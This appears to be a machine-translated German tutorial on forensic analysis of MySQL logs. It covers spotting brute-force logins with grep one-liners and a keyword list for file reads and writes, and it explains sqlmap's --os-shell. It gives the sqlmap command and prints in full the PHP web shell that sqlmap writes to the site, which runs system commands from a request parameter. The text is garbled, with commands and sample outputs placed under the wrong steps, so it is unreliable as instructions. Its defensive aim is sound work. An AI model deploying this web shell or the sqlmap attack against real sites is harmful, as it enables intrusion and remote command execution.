Zu den häufigsten Datenbankangriffen gehören schwache Passwörter, SQL-Injection, erhöhte Berechtigungen, gestohlene Backups usw. Durch die Analyse von Datenbankprotokollen können Angriffsverhalten entdeckt, Angriffsszenarien weiter wiederhergestellt und Angriffsquellen zurückverfolgt werden.
1. MySQL-Protokollanalyse
Das allgemeine Abfrageprotokoll kann erfolgreiche Verbindungen und jede ausgeführte Abfrage aufzeichnen. Wir können es als Teil der Sicherheitsbereitstellung verwenden Grundlage für Analysen oder Post-Hacking-Ermittlungen.
1. Protokollkonfigurationsinformationen anzeigen
show variables like '%general%';
2. Protokolldateipfad angeben
SET GLOBAL general_log = 'On';
Zum Beispiel wann Ich besuche /test .php?id=1, zu diesem Zeitpunkt erhalten wir ein Protokoll wie dieses:
SET GLOBAL general_log_file = '/var/lib/mysql/mysql.log';
Analysieren wir es nach Spalte:
Die erste Spalte: Zeit, die Zeitspalte, Das erste ist das Datum, das letzte ist das Datum. Eins sind Stunden und Minuten. Ein Grund dafür, dass sie nicht angezeigt werden, liegt darin, dass diese SQL-Anweisungen fast gleichzeitig ausgeführt werden und die Zeit daher nicht separat aufgezeichnet wird.
Die zweite Spalte: Id ist die Thread-ID in der ersten Spalte der Show Processlist. Bei langen Verbindungen und einigen zeitaufwändigen SQL-Anweisungen können Sie genau herausfinden, welcher Thread ausgeführt wird.
Die dritte Spalte: Befehl, Operationstyp, zum Beispiel „Verbinden“ dient zum Herstellen einer Verbindung zur Datenbank und „Abfrage“ zum Abfragen der Datenbank (Hinzufügungen, Löschungen, Überprüfungen und Änderungen werden alle als Abfragen angezeigt) und einige Vorgänge können gezielt gefiltert werden.
Die vierte Spalte: Argument, detaillierte Informationen, zum Beispiel „Root@localhost verbinden“ bedeutet, eine Verbindung zur Datenbank herzustellen usw., welche Abfragevorgänge nach der Verbindung zur Datenbank ausgeführt wurden.
2. Anmeldung erfolgreich/fehlgeschlagenFühren Sie einen einfachen Test durch, den ich zuvor entwickelt habe. Die Wörterbucheinstellung ist relativ klein. 2 Benutzer, 4 Passwörter, insgesamt 8 Gruppen.
Der Protokolldatensatz in MySQL sieht folgendermaßen aus:
190604 14:46:14 14 Connect root@localhost on 14 Init DB test 14 Query SELECT * FROM admin WHERE id = 1 14 Quit
Wissen Sie, welches bei diesem Passwort-Rateprozess erfolgreich ist?
Mit Sprengwerkzeugen sieht ein erfolgreicher Passwort-Rate-Datensatz so aus:
Time Id Command Argument 190601 22:03:20 98 Connect root@192.168.204.1 on 98 Connect Access denied for user 'root'@'192.168.204.1' (using password: YES) 103 Connect mysql@192.168.204.1 on 103 Connect Access denied for user 'mysql'@'192.168.204.1' (using password: YES) 104 Connect mysql@192.168.204.1 on 104 Connect Access denied for user 'mysql'@'192.168.204.1' (using password: YES) 100 Connect root@192.168.204.1 on 101 Connect root@192.168.204.1 on 101 Connect Access denied for user 'root'@'192.168.204.1' (using password: YES) 99 Connect root@192.168.204.1 on 99 Connect Access denied for user 'root'@'192.168.204.1' (using password: YES) 105 Connect mysql@192.168.204.1 on 105 Connect Access denied for user 'mysql'@'192.168.204.1' (using password: YES) 100 Query set autocommit=0 102 Connect mysql@192.168.204.1 on 102 Connect Access denied for user 'mysql'@'192.168.204.1' (using password: YES) 100 Quit
Wenn Sie jedoch andere Methoden verwenden, kann es etwas anders aussehen.
Navicat für MySQL-Anmeldung:
190601 22:03:20 100 Connectroot@192.168.204.1 on 100 Queryset autocommit=0 100 Quit
Befehlszeilen-Anmeldung:
190601 22:14:07 106 Connectroot@192.168.204.1 on 106 QuerySET NAMES utf8 106 QuerySHOW VARIABLES LIKE 'lower_case_%' 106 QuerySHOW VARIABLES LIKE 'profiling' 106 QuerySHOW DATABASES
Der Unterschied besteht darin, dass verschiedene Datenbankverbindungstools unterschiedliche Initialisierungsprozesse für die Verbindung zur Datenbank haben. Durch diesen Unterschied können wir einfach bestimmen, wie der Benutzer eine Verbindung zur Datenbank herstellt.
Darüber hinaus wird bei Anmeldefehlern immer derselbe Eintrag angezeigt, unabhängig davon, ob Sie ein Blasting-Tool, Navicat für MySQL oder die Befehlszeile verwenden.
Aufzeichnung der fehlgeschlagenen Anmeldung:
190601 22:17:25 111 Connectroot@localhost on 111 Queryselect @@version_comment limit 1 190601 22:17:56 111 Quit
Verwenden Sie den Shell-Befehl für eine einfache Analyse:
Welche IPs werden gesprengt?
102 Connect mysql@192.168.204.1 on 102 Connect Access denied for user 'mysql'@'192.168.204.1' (using password: YES)
Was sind die Wörterbücher für explosive Benutzernamen?
grep "Access denied" mysql.log |cut -d "'" -f4|uniq -c|sort -nr 27 192.168.204.1
Bei der Protokollanalyse muss einigen sensiblen Vorgängen besondere Aufmerksamkeit gewidmet werden, z. B. dem Löschen von Tabellen, dem Vorbereiten von Datenbanken, dem Lesen und Schreiben von Dateien usw.
Schlüsselwörter: Tabelle löschen, Funktion löschen, Tabellen sperren, Tabellen entsperren, load_file(), in Outfile, in Dumpfile.
Sensible Datenbanktabellen: SELECT * von mysql.user, SELECT * von mysql.funcAusnutzung von SQL-Injection-Schwachstellen während Während des Prozesses werden wir versuchen, den Parameter --os-shell von sqlmap zu verwenden, um die Shell abzurufen. Wenn der Vorgang nicht sorgfältig durchgeführt wird, bleiben möglicherweise einige von sqlmap erstellte temporäre Tabellen und benutzerdefinierten Funktionen zurück. Werfen wir zunächst einen Blick auf die Verwendung und das Prinzip der SQLMAP-OS-Shell-Parameter:
1. Erstellen Sie einen SQL-Injection-Punkt und ermöglichen Sie Burp, Port 8080 abzuhören.
grep "Access denied" mysql.log |cut -d "'" -f2|uniq -c|sort - nr 13 mysql 12 root 1 root 1 mysql
Der HTTP-Kommunikationsprozess ist wie folgt:
Erstellt eine temporäre Datei tmpbwyov.php, führt Systembefehle durch Zugriff auf diesen Trojaner aus und kehrt zur Seitenanzeige zurück.
sqlmap.py -u http://192.168.204.164/sql.php?id=1 --os-shell --proxy=http://127.0.0.1:8080
hat eine temporäre Tabelle sqlmapoutput erstellt, die gespeicherte Prozedur aufgerufen, um Systembefehle zum Schreiben von Daten in die temporäre Tabelle auszuführen, und dann die Daten aus der temporären Tabelle übernommen und im Frontend angezeigt.
Indem Sie die kürzlich erstellten verdächtigen Dateien im Website-Verzeichnis überprüfen, können Sie feststellen, ob ein SQL-Injection-Schwachstellenangriff stattgefunden hat.
Überprüfungsmethode:
Überprüfen Sie, ob sich im Website-Verzeichnis einige Trojaner-Dateien befinden:
2 eine UDF-Datei Spuren von Privilegien und MOF-Privilegienausweitung
Überprüfen Sie, ob abnormale Dateien im Verzeichnis vorhanden sind
tmpbwyov.php: <?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set('max_execution_time',0);$z=@ini_get('disable_functions');if(!empty($z)){$z=preg_replace('/[, ]+/',',',$z);$z=explode(',',$z);$z=array_map('trim',$z);}else{$z=array();}$c=$c." 2>&1n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f('system')){ob_start();system($c);$w=ob_get_contents();ob_end_clean();}elseif(f('proc_open')){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f('shell_exec')){$w=shell_exec($c);}elseif(f('passthru')){ob_start();passthru($c);$w=ob_get_contents();ob_end_clean();}elseif(f('popen')){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f('exec')){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}print "<pre class="brush:php;toolbar:false">".$w."
Überprüfen Sie, ob die Funktion gelöscht wurde
mysqllibpluginc:/windows/system32/wbem/mof/
3 Weblog-Analyse.
Empfohlenes Tutorial:
Webserver-SicherheitDas obige ist der detaillierte Inhalt vonSo analysieren Sie Datenbankprotokolle. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!